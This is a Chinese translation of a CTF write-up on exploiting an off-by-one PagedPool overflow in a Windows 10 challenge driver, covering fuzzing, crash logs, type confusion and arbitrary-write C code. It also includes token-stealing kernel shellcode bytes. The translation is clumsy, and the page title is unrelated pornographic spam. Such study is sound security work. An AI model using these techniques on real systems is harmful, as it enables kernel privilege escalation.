亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

利用Windows 10 PagedPool off-by-one溢出(WCTF 2018)

在7月6-8日的周末,我們的CTF團(tuán)隊(duì)-Dragon Sector-參加了在北京舉行的一場(chǎng)名為WCTF的邀請(qǐng)賽。 其他參與者是來(lái)自世界各地的頂級(jí)團(tuán)隊(duì)(e.g. Shellphish, ESPR, LC?BC or Tokyo Westerns), 比賽的獎(jiǎng)金總額達(dá)到了驚人的10萬(wàn)美元。這個(gè)CTF的一個(gè)特殊的規(guī)則是這些挑戰(zhàn)是由團(tuán)隊(duì)自己而不是組織者準(zhǔn)備的。 10個(gè)隊(duì)伍每一隊(duì)都要求提供兩個(gè)題目,其中一個(gè)要求必須在Windows上運(yùn)行。允許遠(yuǎn)程幫助,評(píng)分系統(tǒng)提供了一、二、三血加分獎(jiǎng)勵(lì)。在挑戰(zhàn)比賽完成之后隨之而來(lái)的是下一環(huán)節(jié),陪審團(tuán)和參與者在舞臺(tái)上展示自己的題目時(shí)會(huì)獲得額外的分?jǐn)?shù)。

經(jīng)過(guò)兩天的競(jìng)爭(zhēng),我們作為CTF的亞軍,完成了6/18項(xiàng)挑戰(zhàn)任務(wù), 排在冠軍Tokyo Westerns (7/18)后面。

t01a948803e282c8de3

我對(duì)上述結(jié)果的貢獻(xiàn)是通過(guò)Eat, Sleep, Pwn, Repeat拿到“Searchme” 這一題的flag。它涉及利用Windows 10 64位中加載的易受攻擊的內(nèi)核驅(qū)動(dòng)程序造成的PagedPool分配的off-by-one緩沖區(qū)溢出。 在CTF之后不久,原作者(@_niklasb)發(fā)布了驅(qū)動(dòng)程序的源代碼和相應(yīng)的漏洞(github源碼niklasb/elgoog 、Twitter 上討論),這表示我解法的一部分是非預(yù)期的。Niklas 使用off-by-one 來(lái)破壞分配元數(shù)據(jù)并且執(zhí)行一些pool feng-shui 去得到覆蓋的pool塊。另一方面,我在沒(méi)有觸及任何pool元數(shù)據(jù)的情況下,通過(guò)data-only的攻擊實(shí)現(xiàn)了類似的結(jié)果,這使得整個(gè)利用過(guò)程更加簡(jiǎn)單。 我鼓勵(lì)您仔細(xì)分析Niklas的漏洞,如果您對(duì)我的方法感興趣,請(qǐng)繼續(xù)跟著做。

如果你想直接跳到exploit代碼, 在這兒GitHub

初步觀察

作為任務(wù)的一部分,我們提供了一個(gè)64位的Windows內(nèi)核驅(qū)動(dòng)程序,名為 searchme.sys 14kB的大小,有如下描述:

<ip> 3389 flag is here: c:flag.txt, User:ctf, password:ctf

當(dāng)我通過(guò)RDP連接到遠(yuǎn)程主機(jī)時(shí),我可以作為一個(gè)常規(guī)的“ctf”用戶登錄。 searchme.sys 驅(qū)動(dòng)程序被加載到系統(tǒng)中,想要在磁盤上拿到C:flag.txt 文件。但是正如預(yù)期那樣,這個(gè)賬戶不能安全的讀取:

t019b504153add3f8a0

在這一點(diǎn)上,很明顯,挑戰(zhàn)的目標(biāo)是在searchme.sys中利用內(nèi)核模式的漏洞,將權(quán)限提升到管理員或系統(tǒng)權(quán)限,然后從受保護(hù)的文件中讀取flag。 當(dāng)我在IDA Pro中加載這個(gè)模塊時(shí),我很快就發(fā)現(xiàn)它在設(shè)備DeviceSearchme 下注冊(cè)了一個(gè)設(shè)備,并使用緩沖的Buffered I/O 通信方案操作四個(gè)IOCTLs :

  • 0x222000 – allocates an empty object from PagedPool, saves it in a global array and returns its address to the caller(從PagedPool分配一個(gè)空對(duì)象,將其保存到全局?jǐn)?shù)組中,并將其地址返回給調(diào)用者)
  • 0x222004 – frees a previously allocated object(釋放先前分配的對(duì)象)
  • 0x222008 – adds a pair of (char[16], uint32) to an existing object(將一對(duì)(char 16,uint32)添加到現(xiàn)有對(duì)象中)
  • 0x22200C – transforms an existing object of type-0 to type-1 in a one-way, irreversible manner.(以一種單向的、不可逆轉(zhuǎn)的方式將type-0的現(xiàn)有對(duì)象轉(zhuǎn)換為type-1)。

由于IOCTLs 和 and #2 是不重要的,該漏洞肯定隱藏在#3或#4的實(shí)現(xiàn)中。 我簡(jiǎn)單地對(duì)在驅(qū)動(dòng)程序中找到的整個(gè)代碼進(jìn)行了逆向工程(在Redford和impr的幫助下),以掌握它的功能,重命名符號(hào)并修復(fù)數(shù)據(jù)類型。 很明顯,驅(qū)動(dòng)程序維護(hù)了一個(gè)哈希映射,將文本字符串與數(shù)值列表相關(guān)聯(lián),而某種類型的二進(jìn)制數(shù)據(jù)結(jié)構(gòu)涉及到type-1對(duì)象,但是我仍然沒(méi)有完全理解代碼的基本目的(后來(lái)證明是 binary interpolative code ).我也沒(méi)有發(fā)現(xiàn)任何明顯的利用點(diǎn),但我注意到兩種可疑的行為:

  1. 在處理0x222008時(shí),驅(qū)動(dòng)程序不允許在與字符串標(biāo)記關(guān)聯(lián)的整數(shù)列表中重復(fù)。然而,它只檢查了新添加的值,而不是在列表后面的那個(gè)。 比如:[1,2,2]列表由于相同的連續(xù)數(shù)而不被允許,但是[2,1,2]可以很好地創(chuàng)建。 考慮到這個(gè)列表是在稍后被另一個(gè)IOCTL處理的時(shí)候排序的,這似乎特別奇怪,這可能會(huì)使重復(fù)檢測(cè)的整個(gè)點(diǎn)失效。
  2. 在0x22200C處理器調(diào)用的嵌套函數(shù)中,找到了以下代碼結(jié)構(gòu):
if (*cur_buf > buf_end) {
  return 1;
}

? 假設(shè)buf_end是有效緩沖區(qū)之外的最小地址,這可能表示一個(gè)off-by-one error,否則比較應(yīng)該使用>=操作符。因?yàn)楸容^應(yīng)該另外使用>=運(yùn)算符。由于遵循上面討論的線索可能會(huì)耗費(fèi)大量時(shí)間,所以我決定嘗試一個(gè)更簡(jiǎn)單的路線,看看我是否能通過(guò)愚蠢的Fuzzing來(lái)觸發(fā)任何崩潰。 這將允許我從一個(gè)已知的壞狀態(tài)開(kāi)始我的分析,而不是在一開(kāi)始就花費(fèi)時(shí)間搜索內(nèi)存損壞原函數(shù)。

Fuzzing 驅(qū)動(dòng)程序

在fuzzing的環(huán)境下,驅(qū)動(dòng)程序的通信接口被限制為4個(gè)簡(jiǎn)單的操作這個(gè)是很方便的,在開(kāi)發(fā)階段,我圍繞deviceIoControl創(chuàng)建了幾個(gè)包裝函數(shù),這些函數(shù)后來(lái)在實(shí)際的EXP中被重用。 fuzzer的核心非常簡(jiǎn)單-它以隨機(jī)的方式無(wú)限地調(diào)用一個(gè)IOCTLs,但是格式化正確的輸入?yún)?shù)(token=["aa","bb"], value=[0..9]). 在為searchme.sys啟用Special Pool并啟動(dòng)fuzzer之后,只需幾秒鐘就可以在WinDbg中看到以下崩潰:

DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ffffd9009c68b000, memory referenced
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation
Arg3: fffff8026b482628, if non-zero, the address which referenced memory.
Arg4: 0000000000000000, (reserved)

[...]

TRAP_FRAME:  ffff820b43580360 -- (.trap 0xffff820b43580360)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=ffffd9009c68b000 rbx=0000000000000000 rcx=00000000fffffffe
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8026b482628 rsp=ffff820b435804f8 rbp=0000000000000000
 r8=ffffd9009c68b000  r9=0000000000000000 r10=00007ffffffeffff
r11=ffff820b435804f0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
searchme+0x2628:
fffff802`6b482628 0fbe00          movsx   eax,byte ptr [rax] ds:ffffd900`9c68b000=??

崩潰發(fā)生在searchme+0x2628處,處在一個(gè)位寫入函數(shù)—同樣具有可以的*cur_buf > buf_end 比較語(yǔ)句。進(jìn)一步的分析和實(shí)驗(yàn) (e.g. fuzzing 沒(méi)有Special Pool的環(huán)境) 證實(shí)了溢出確實(shí)被限制為一個(gè)字節(jié) 。

就在那時(shí),我靈機(jī)一動(dòng)—-不久之前我看到過(guò)類似的代碼!在快速的檢查之后,結(jié)果證明是真的。“searchme” 任務(wù)實(shí)際上是幾個(gè)月前從 34C3 中對(duì) elgoog2 修改和重新編譯的版本。這個(gè)發(fā)現(xiàn)的直接好處是“elgoog”任務(wù)附帶了調(diào)試符號(hào),包括結(jié)構(gòu)定義、函數(shù)名等等。 在做了更多的調(diào)查之后,我發(fā)現(xiàn)了這條推文,它導(dǎo)致了這篇簡(jiǎn)短的write-up,以及來(lái)自shiki7的來(lái)自Tea Deliverers的 exploit 。 “SearchMe”中修補(bǔ)了非計(jì)劃中的類型混淆bug,因此舊的exploit不再有效,但它仍然提供了一些有價(jià)值的見(jiàn)解。 此外,Niklas對(duì)Point(1)中的池緩沖區(qū)溢出的描述加強(qiáng)了我的信念,即這是要在這里利用的預(yù)期的bug。

因此,接下來(lái)的一兩個(gè)小時(shí),我把符號(hào)從“elgoog”移到我的“SearchMe”IDA數(shù)據(jù)庫(kù)。

控制溢出

通過(guò)查看fuzzer發(fā)送的一系列命令來(lái)觸發(fā)崩潰,我了解到溢出確實(shí)是由“compressing” (IOCTL0x22200C)造成的,該對(duì)象包含一個(gè)帶有重復(fù)條目的標(biāo)記。由于我只能在分配的緩沖區(qū)之外寫入一個(gè)字節(jié),因此很可能需要仔細(xì)控制它的值。即使在調(diào)試符號(hào)的幫助下,我仍然不確定代碼構(gòu)造了什么數(shù)據(jù)結(jié)構(gòu),因此—如何精確地控制其內(nèi)容。

為了避免浪費(fèi)時(shí)間對(duì)算法進(jìn)行深入研究,我無(wú)恥地復(fù)制了插值函數(shù)的大小和寫插值函數(shù) (及其依賴項(xiàng))從十六進(jìn)制反編譯器到VisualStudio,并編寫了一個(gè)簡(jiǎn)單的蠻力程序,測(cè)試各種隨機(jī)輸入列表的溢出字節(jié)。該工具的要點(diǎn)歸結(jié)為以下幾點(diǎn):

// Fill input_buffer with random numbers and sort it.

memset(output_buffer, 0xaa, sizeof(output_buffer));
char *buf = output_buffer;

write_interpolative(&buf, input_buffer, 1, ARRAYSIZE(input_buffer) - 1);

size_t calculated = (interpolative_size(input_buffer, 1, ARRAYSIZE(input_buffer) - 1) + 7) / 8;
ptrdiff_t written = buf - output_buffer - 1;

if (written > 0 && calculated > 0 && written > calculated) {
  const char kSearchedByte = 0;

  if (output_buffer[calculated] == kSearchedByte) {
    // Print input_buffer.
  }
}

根據(jù)所需的值,可以操作input_buffer的長(zhǎng)度和輸入數(shù)字的范圍。對(duì)于簡(jiǎn)單的0x00值,只需在[0,9]范圍內(nèi)使用5個(gè)數(shù)字就可以實(shí)現(xiàn)所需的效果:

C:> brute.exe
calculated: 4, written: 11, last byte: 0x00
input_buffer = {0, 1, 1, 1, 2}

calculated: 1, written: 4, last byte: 0x00
input_buffer = {0, 3, 4, 5, 5}

calculated: 1, written: 4, last byte: 0x00
input_buffer = {5, 7, 8, 9, 9}

[...]

有了選擇溢出我們分配的單個(gè)字節(jié)的能力,是時(shí)候?qū)⒒嵘揭粋€(gè)更強(qiáng)大的字節(jié)了。

Data-only pool 破壞

如今使用的大多數(shù)動(dòng)態(tài)分配器將元數(shù)據(jù)放在分配的內(nèi)存塊前面,這在歷史上促進(jìn)了許多通用堆利用技術(shù)。另一方面,它現(xiàn)在可能會(huì)使對(duì)小溢出的利用變得困難,因?yàn)樵獢?shù)據(jù)將特定于應(yīng)用程序的對(duì)象彼此分離,并且常常受到廣泛的完整性檢查。必須在此提及以下兩點(diǎn)參考: A Heap of Trouble: Breaking the Linux Kernel SLOB Allocator (Dan Rosenberg, 2012) and The poisoned NUL byte, 2014 edition (Chris Evans and Tavis Ormandy, 2014).

在他的計(jì)劃方案, Niklas還使用pool元數(shù)據(jù)破壞來(lái)混淆內(nèi)核池分配器,因此有兩個(gè)不同的對(duì)象相互重疊,以實(shí)現(xiàn)更有用的基元。 這是一種有效的方法,但是它要求開(kāi)發(fā)人員意識(shí)到分配器的內(nèi)部工作原理,并精確地設(shè)置pool的布局以保證可靠的開(kāi)發(fā)。 作為個(gè)人偏好,我發(fā)現(xiàn)攻擊特定于程序的對(duì)象比內(nèi)部系統(tǒng)結(jié)構(gòu)更容易,所以我憑直覺(jué)開(kāi)始尋找解決這個(gè)問(wèn)題的方法。

這可能是一個(gè)鮮為人知的事實(shí),在Windows內(nèi)核中,小的分配(適合于單個(gè)內(nèi)存頁(yè))的處理方式與大內(nèi)存頁(yè)不同 ,對(duì)于一些過(guò)時(shí)但仍然相關(guān)的細(xì)節(jié), 看 Kernel Pool Exploitation on Windows 7 (Tarjei Mandt, 2011) and Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool (Alex Ionescu, 2014). 在這個(gè)特定的例子中,我們感興趣的是大池塊的兩個(gè)屬性:

  • 元數(shù)據(jù)是分開(kāi)存儲(chǔ)的,所以分配從頁(yè)面對(duì)齊的地址開(kāi)始,比如0xffffa803f5892000
  • 這些塊通常在內(nèi)存中相鄰;例如,兩個(gè)連續(xù)的0x1000大小的分配可以分別映射到0xffffa803f58920000xffffa803f5893000

在易受攻擊的驅(qū)動(dòng)程序中,我們可以精確地控制溢出的塊的大小,直到大小為0x10000(16頁(yè))。 這足以將兩個(gè)大的對(duì)象放在相鄰的位置上,我們甚至可以確定相鄰區(qū)域的精確對(duì),這要?dú)w功于IOCTLs明顯地返回所創(chuàng)建對(duì)象的內(nèi)核模式地址。 我在CTF期間編寫的一個(gè)簡(jiǎn)單工具成功地證實(shí)了這一點(diǎn), 它創(chuàng)建了8個(gè)0x2000字節(jié)長(zhǎng)的索引,并比較了它們的地址。產(chǎn)出與以下內(nèi)容相似:

C:>adjacent.exe
[+] Source Index: ffffa803f2f79cb0
[1] Adjacent objects: ffffa803f61db000 --> ffffa803f61dd000
[2] Adjacent objects: ffffa803f61dd000 --> ffffa803f61df000
[3] Adjacent objects: ffffa803f61df000 --> ffffa803f61e1000
[4] Adjacent objects: ffffa803f61e1000 --> ffffa803f61e3000
[5] Adjacent objects: ffffa803f61e3000 --> ffffa803f61e5000
[6] Adjacent objects: ffffa803f61e5000 --> ffffa803f61e7000
[7] Adjacent objects: ffffa803f61e7000 --> ffffa803f61e9000

正如您所看到的,所有對(duì)象實(shí)際上都是在一個(gè)連續(xù)的0x10000字節(jié)塊中相互映射的。 如果我們隨后釋放所有其他對(duì)象,在pool中創(chuàng)建 “holes” ,并立即分配一個(gè)由驅(qū)動(dòng)程序覆蓋的相同大小的新塊,那么溢出應(yīng)該與相鄰索引對(duì)象的第一個(gè)字節(jié)重疊。如圖所示:

t01cfdee4451f7e7c13

在這一點(diǎn)上,我們應(yīng)該查看存儲(chǔ)在第一字節(jié)中的信息類型。事實(shí)證明,它是一個(gè)32位整數(shù)的最小有效字節(jié),它指示對(duì)象的類型(type-0規(guī)則型,type -1壓縮型)。常規(guī)對(duì)象的結(jié)構(gòu)定義如下所示 :

struct _inverted_index {
  /* +0x00 */ int compressed;
  /* +0x08 */ _ii_token_table *table;
};

如果壓縮成員為非零,則結(jié)構(gòu)的布局非常不同 :

struct _compressed_index {
  /* +0x00 */ int compressed;
  /* +0x04 */ int size;
  /* +0x08 */ int offsets[size];
  /* +0x?? */ char data[...];
};

由于對(duì)象的類型為0x00000000或0x00000001,我們的單字節(jié)溢出使我們能夠?qū)?duì)象的類型從compressed_index 改為 inverted_index 。 類型混淆有一些方便的基元-在上面的結(jié)構(gòu)中,我們可以看到偏移量8處的表指針與offsets[0] 和offsets[1] 的項(xiàng)重疊。 偏移數(shù)組中的值是相對(duì)于壓縮索引的壓縮數(shù)據(jù)的偏移量,因此它們相對(duì)較小。在我們的測(cè)試中,它們分別等于0x558和0x56C。

當(dāng)二者組合并理解為64位地址時(shí) ,這兩個(gè)值形成了以下指針 :0x0000056c00000558. 它不是常規(guī)應(yīng)用程序中經(jīng)常看到的典型地址,但它是一個(gè)規(guī)范的用戶模式地址,可以由程序使用簡(jiǎn)單的Virtualalloc調(diào)用。 換句話說(shuō),類型混淆允許用戶將敏感的內(nèi)核模式指針重定向到用戶空間,并對(duì)由驅(qū)動(dòng)程序使用的_II_Token_Table結(jié)構(gòu)進(jìn)行完全控制。

如果我們?cè)趐oc中實(shí)現(xiàn)了所討論的邏輯,將對(duì)象的類型從1更改為0,然后嘗試向損壞的索引中添加一個(gè)新的(keyword, value)對(duì),則在searchme.sys嘗試從0x0000056c00000558取消引用內(nèi)存時(shí),我們應(yīng)該觀察到以下系統(tǒng)崩潰:

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff8008b981fea, Address of the instruction which caused the bugcheck
Arg3: ffff948fa7516c60, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

[...]

CONTEXT:  ffff948fa7516c60 -- (.cxr 0xffff948fa7516c60)
rax=000000009b82a44c rbx=ffffcc8a26af7370 rcx=0000056c00000558
rdx=0000000000000000 rsi=ffffcc8a273fc20c rdi=ffff948fa75177d4
rip=fffff8008b981fea rsp=ffff948fa7517650 rbp=ffffcc8a2876fef0
 r8=0000000000000001  r9=0000000000000014 r10=0000000000000000
r11=0000000000000000 r12=ffffcc8a2876fef0 r13=ffffcc8a29470180
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
searchme+0x1fea:
fffff800`8b981fea 48f77108        div     rax,qword ptr [rcx+8] ds:002b:0000056c`00000560=????????????????

讓我們更仔細(xì)地研究受控的 _ii_token_table 結(jié)構(gòu)所提供的功能。

拿到一個(gè)任意寫的身份

基于elgoog符號(hào)文件,我恢復(fù)了_II_Token_table和相關(guān)的_II_POST_List結(jié)構(gòu)的原型,并將它們寫成以下C定義:

struct _ii_posting_list {
  char token[16];
  unsigned __int64 size;
  unsigned __int64 capacity;
  unsigned int data[1];
};

struct _ii_token_table {
  unsigned __int64 size;
  unsigned __int64 capacity;
  _ii_posting_list *slots[1];
};

在許多方面,上面的數(shù)據(jù)結(jié)構(gòu)類似于C++中的std:map<string、std:Vector<unsiveint>結(jié)構(gòu)。 當(dāng)程序請(qǐng)求向索引中添加一個(gè)新的(token, value)對(duì)時(shí),代碼遍歷slots 數(shù)組以查找與所提供的token相對(duì)應(yīng)的posting列表,一旦找到,輸入值將用以下表達(dá)式追加到列表中, 并帶有以下表達(dá)式:

PostingList.data[PostingList.size++] = value;

考慮到Token表在我們的控制下, _ii_posting_list.size 字段是64位寬的,并且我們知道假posting列表的基址,這種行為轉(zhuǎn)換為任意寫基元是非常簡(jiǎn)單的。 首先,我們?cè)陟o態(tài)內(nèi)存中聲明假的posting列表,其中有一個(gè)已知的名稱(“fake”) 和容量等于UINT64_MAX:

namespace globals {

_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };

}  // namespace globals

然后,我們編寫一個(gè)函數(shù)來(lái)初始化特殊0x0000056c00000558地址的偽token表:

BOOLEAN SetupWriteWhatWhere() {
  CONST PVOID kTablePointer = (PVOID)0x0000056c00000558;
  CONST PVOID kTableBase = (PVOID)0x0000056c00000000;

  if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) {
    printf("[-] Unable to allocate fake base.n");
    return FALSE;
  }

  _ii_token_table *TokenTable = (_ii_token_table *)kTablePointer;
  TokenTable->size = 1;
  TokenTable->capacity = 1;
  TokenTable->slots[0] = &globals::PostingList;

  return TRUE;
}

最后,我們添加一個(gè)助手函數(shù)來(lái)觸發(fā)4字節(jié)任意寫條件:

VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) {
  globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);

  AddToIndex(CorruptedIndex, What, "fake");
}

有了這些,我們就可以測(cè)試它的工作原理:

WriteWhatWhere4(CorruptedIndex, 0x4141414141414141LL, 0x42424242);

這將在易受攻擊的驅(qū)動(dòng)程序中觸發(fā)以下異常:

CONTEXT:  ffff9609683dacb0 -- (.cxr 0xffff9609683dacb0)
rax=00007ff6a90b2930 rbx=ffffe48f8135b5a0 rcx=10503052a60d85fc
rdx=0000000042424242 rsi=ffffe48f82d7d70c rdi=ffff9609683db7d4
rip=fffff8038ccc1905 rsp=ffff9609683db6a0 rbp=ffffe48f82c79ef0
 r8=0000000000000001  r9=0000000000000014 r10=0000000000000000
r11=0000000000000000 r12=ffffe48f82c79ef0 r13=ffffe48f81382ac0
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
searchme+0x1905:
fffff803`8ccc1905 3954881c        cmp     dword ptr [rax+rcx*4+1Ch],edx ds:002b:41414141`4141413c=????????

上面的崩潰日志并不能完全說(shuō)明“寫”操作,因?yàn)橹暗囊恍o(wú)意義的閱讀清單。數(shù)據(jù),但攻擊是有效的。

執(zhí)行shellcode

在這一點(diǎn)上,我可以寫任意的內(nèi)核內(nèi)存但是不能讀,這就排除了直接從用戶模式執(zhí)行data-only attacks 的選項(xiàng)。 然而,使用任意寫的基元,執(zhí)行ring-0 shellcode 應(yīng)該只是一種形式 。在這種情況下,它變得更容易了,因?yàn)檫@個(gè)漏洞是在Medium完整性的情況下運(yùn)行的,所以它可以訪問(wèn)內(nèi)核模塊的基本地址,并且可以通過(guò)NtQuerySystemInformation 的各種信息類獲得其他有用的地址。

Black Hat USA 2017 talk 中,Morten Schenk提出,可以使用任意寫入來(lái)覆蓋駐留在win32kbase.sys 的.Data部分中的內(nèi)核函數(shù)指針,更具體地說(shuō),可以覆蓋來(lái)自NtGdiDdDDI*系列的圖形系統(tǒng)使用的win32kbase!gDxgkInterface表中的內(nèi)核函數(shù)指針。 實(shí)際上,系統(tǒng)調(diào)用處理程序是函數(shù)指針的簡(jiǎn)單包裝器,并且不會(huì)破壞通過(guò)rcx、rdx、…寄存器傳遞的任何參數(shù)。,例如:

t017affc8926ec9426e

這允許攻擊者用受控的參數(shù)來(lái)調(diào)用任意的內(nèi)核函數(shù),并接收返回值。正如Morten所討論的,完整的利用過(guò)程只有幾個(gè)簡(jiǎn)單的步驟:

  1. nt!ExAllocatePoolWithTag地址覆蓋函數(shù)指針。
  2. 使用非PagedPool參數(shù)調(diào)用例程來(lái)分配可寫/可執(zhí)行內(nèi)存。
  3. 將ring-0 shellcode 寫入分配的內(nèi)存
  4. 用shellcode的地址覆蓋函數(shù)指針。
  5. 調(diào)用shellcode.

上述方案使得能夠在不破壞系統(tǒng)狀態(tài)的情況下干凈地執(zhí)行所需的payload(除了一個(gè)覆蓋的指針)。在他的論文中,Morten建議使用NtGdiDdDDICreateAllocation作為代理SysCall, 但是我發(fā)現(xiàn)它在Windows中的使用非常頻繁,如果指針沒(méi)有及時(shí)修復(fù),系統(tǒng)就會(huì)出現(xiàn)故障。為了讓我的生活更輕松一點(diǎn),我選擇了一種使用頻率較低的服務(wù),它似乎完全被我的exploit所調(diào)用:NtGdiDdDDIGetContextSchedulingPriority.

在實(shí)現(xiàn)代碼中的邏輯之后,我可以享受任意的內(nèi)核代碼執(zhí)行——在本例中,一個(gè)單獨(dú)的int3指令:

kd> g
Break instruction exception - code 80000003 (first chance)
ffffc689`b8967000 cc              int     3

0: kd> u
ffffc689`b8967000 cc              int     3
ffffc689`b8967001 c3              ret
[...]

0: kd> !pool @rip
Pool page ffffc689b8967000 region is Nonpaged pool
*ffffc689b8967000 : large page allocation, tag is ...., size is 0x1000 bytes
        Owning component : Unknown (update pooltag.txt)

提權(quán)

在Windows中,提高系統(tǒng)權(quán)限的一種更簡(jiǎn)單的方法是“竊取”系統(tǒng)進(jìn)程的安全Token并將其復(fù)制到當(dāng)前進(jìn)程(特別是EPROCESS.Token)。 系統(tǒng)進(jìn)程的地址可以在ntoskrnl.exe映像的靜態(tài)內(nèi)存中找到,位于nt!PsInitialSystemProcess 下面。 由于攻擊只涉及在兩個(gè)內(nèi)核結(jié)構(gòu)之間復(fù)制一個(gè)指針,shellcode 只包含六個(gè)指令:

// The shellcode takes the address of a pointer to a process object in the kernel in the first
// argument (RCX), and copies its security token to the current process.
//
// 00000000  65488B0425880100  mov rax, [gs:KPCR.Prcb.CurrentThread]
// -00
// 00000009  488B80B8000000    mov rax, [rax + ETHREAD.Tcb.ApcState.Process]
// 00000010  488B09            mov rcx, [rcx]
// 00000013  488B8958030000    mov rcx, [rcx + EPROCESS.Token]
// 0000001A  48898858030000    mov [rax + EPROCESS.Token], rcx
// 00000021  C3                ret
CONST BYTE ShellcodeBytes[] = "x65x48x8Bx04x25x88x01x00x00x48x8Bx80xB8x00x00x00"
                              "x48x8Bx09x48x8Bx89x58x03x00x00x48x89x88x58x03x00"
                              "x00xC3";

Getting the flag

一旦替換了工具過(guò)程的安全token,我們就可以完全控制操作系統(tǒng)。我們可以啟動(dòng)一個(gè)提升的命令提示符并讀取flag:

t01761b673cce128728

總而言之,在大約15個(gè)小時(shí)的工作之后,這個(gè)exploit已經(jīng)發(fā)揮了作用,并為我們的一(也是最后一個(gè))血獎(jiǎng)金提供了120分+30分。 感謝Niklas創(chuàng)造了這個(gè)有趣的挑戰(zhàn),也感謝WCTF組織者舉辦了這次比賽。我認(rèn)為這個(gè)任務(wù)和它的解決方案巧妙地說(shuō)明了即使在今天,從理論上講,在適當(dāng)?shù)沫h(huán)境條件下,在內(nèi)核池中出現(xiàn)的小錯(cuò)誤,例如在內(nèi)核池中溢出的bug可能在概念上很容易被利用。在Windows中,緩沖區(qū)溢出的利用還沒(méi)有死。:)

提醒,該exploit的完整源代碼可以在GitHub上找到。

原文地址:https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/

上一篇:身份管理如何驅(qū)動(dòng)安全

下一篇:提升事件響應(yīng)準(zhǔn)備度的3種新興技術(shù)